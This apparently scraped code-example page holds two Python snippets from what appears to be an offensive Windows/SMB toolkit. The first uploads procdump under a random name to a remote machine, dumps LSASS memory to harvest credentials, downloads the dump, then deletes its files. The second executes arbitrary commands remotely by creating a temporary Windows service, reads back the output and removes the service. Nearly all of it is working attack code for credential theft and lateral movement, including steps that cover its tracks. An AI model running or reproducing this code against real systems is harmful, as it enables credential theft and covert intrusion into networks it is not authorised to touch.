        pb = '%s.%s' % (os.urandom(8).hex(), 'exe')
        lb = '%s.%s' % (os.urandom(8).hex(), 'dmp')
        procdump_basepath = '%s\\%s' % (bpath, pb)
        procdump_uncpath = '%s\\%s' % (uncbp, pb)

        lsass_dump_basepath = '%s\\%s' % (bpath, lb)
        lsass_dump_uncpath = '%s\\%s' % (uncbp, lb)

        logger.info('[+] LSASS_TASK Uploading procdump binary to %s' %
                    (procdump_uncpath, ))
        procname = 'procdump64.exe'
        if is_32 is True:
            procname = 'procdump.exe'
        procpath = Path(str(procdump_local_path)).joinpath(procname)
        _, err = await machine.put_file(str(procpath), procdump_uncpath)
        if err is not None:
            logger.error('[-] Failed to upload procdump! Reason: %s' % err)
            return False, err

        prcdump_cmd = '%s -accepteula -ma lsass.exe %s' % (procdump_basepath,
                                                           lsass_dump_basepath)
        logger.info(
            '[+] LSASS_TASK Executing procdump on remote machine. Cmd: %s' %
            prcdump_cmd)
        _, err = await machine.tasks_execute_commands([prcdump_cmd])
        if err is not None:
            logger.error(
                '[-] Failed to execute command on the remote end! Reason: %s' %
                err)
            return False, err

        logger.info(
            '[+] LSASS_TASK Obligatory sleep to wait for prcdump to finish dumping...'
        )
        await asyncio.sleep(5)
        logger.info('[+] LSASS_TASK Parsing LSASS')
        res, err = await parse_lsass(machine, lsass_dump_uncpath)
        if err is None:
            if outfolder is None:
                print(str(res.to_grep()))
            else:
                with open(outfolder.joinpath('results.txt'), 'w') as f:
                    f.write(str(res))

                with open(outfolder.joinpath('results.json'), 'w') as f:
                    f.write(res.to_json())

                with open(outfolder.joinpath('results.grep'), 'w') as f:
                    f.write(res.to_grep())

        else:
            logger.error(
                '[-] LSASS_TASK Failed to parse the remote lsass dump!')
            if outfolder is None:
                logger.info(
                    '[!] LSASS_TASK no output folder specified, skipping downloading unparsable dumpfile!'
                )
                return False, None
            logger.info('[+] LSASS_TASK Downloading dumpfile as failsafe')

            file_name = 'lsass.dmp'
            file_obj = SMBFile.from_remotepath(machine.connection,
                                               lsass_dump_uncpath)
            with tqdm(desc='Downloading %s' % file_name,
                      total=file_obj.size,
                      unit='B',
                      unit_scale=True,
                      unit_divisor=1024) as pbar:
                with open(outfolder.joinpath(file_name), 'wb') as outfile:
                    async for data, err in machine.get_file_data(file_obj):
                        if err is not None:
                            raise err
                        if data is None:
                            break
                        outfile.write(data)
                        pbar.update(len(data))

            await file_obj.close()

            logger.info('[+] LSASS_TASK Sucsessfully downloaded %s' %
                        file_name)

        logger.info('[+] LSASS_TASK Parsing success, clearing up...')
        _, err = await machine.del_file(lsass_dump_uncpath)
        if err is not None:
            logger.warning(
                '[!] LSASS_TASK Failed to clear up LSASS dump file!')
        _, err = await machine.del_file(procdump_uncpath)
        if err is not None:
            logger.warning(
                '[!] LSASS_TASK Failed to clear up Procdump executable!')

        return True, None

    except Exception as e:
        print(str(e))
        return None, e
Beispiel #21
0
    async def service_cmd_exec(self,
                               command,
                               display_name=None,
                               service_name=None):
        """
		Creates a service and starts it.
		Does not create files! there is a separate command for that!
		"""

        try:
            _, err = await self.connect_rpc('SERVICEMGR')
            if err is not None:
                raise err

            if service_name is None:
                service_name = os.urandom(4).hex()
            if display_name is None:
                display_name = service_name

            batch_file = os.urandom(4).hex() + '.bat'
            temp_file_name = os.urandom(4).hex()
            temp_file_location = '\\ADMIN$\\temp\\%s' % temp_file_name
            temp_location = '%%windir%%\\temp\\%s' % (temp_file_name)

            #totally not from impacket
            command = '%%COMSPEC%% /Q /c echo %s  ^>  %s 2^>^&1 > %s & %%COMSPEC%% /Q /c %s & del %s' % (
                command, temp_location, batch_file, batch_file, batch_file)

            logger.debug('Command: %s' % command)

            res, err = await self.named_rpcs['SERVICEMGR'].create_service(
                service_name, display_name, command, scmr.SERVICE_DEMAND_START)
            if err is not None:
                raise err

            logger.debug('Service created. Name: %s' % service_name)

            _, err = await self.start_service(service_name)
            #if err is not None:
            #	raise err

            await asyncio.sleep(5)
            logger.debug('Opening temp file. Path: %s' % temp_file_location)
            temp = SMBFile.from_remotepath(self.connection, temp_file_location)
            _, err = await temp.open(self.connection)
            if err is not None:
                raise err

            async for data, err in temp.read_chunked():
                if err is not None:
                    logger.debug('Temp file read failed!')
                    raise err
                if data is None:
                    break

                yield data, err

            logger.debug('Deleting temp file...')
            _, err = await temp.delete()
            if err is not None:
                logger.debug('Failed to delete temp file!')

            logger.debug('Deleting service...')
            _, err = await self.delete_service(service_name)
            if err is not None:
                logger.debug('Failed to delete service!')

            yield None, None

        except Exception as e:
            yield None, e